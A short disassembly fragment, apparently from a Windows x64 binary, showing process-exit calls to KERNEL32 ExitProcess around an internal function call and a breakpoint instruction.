xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400078e8
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]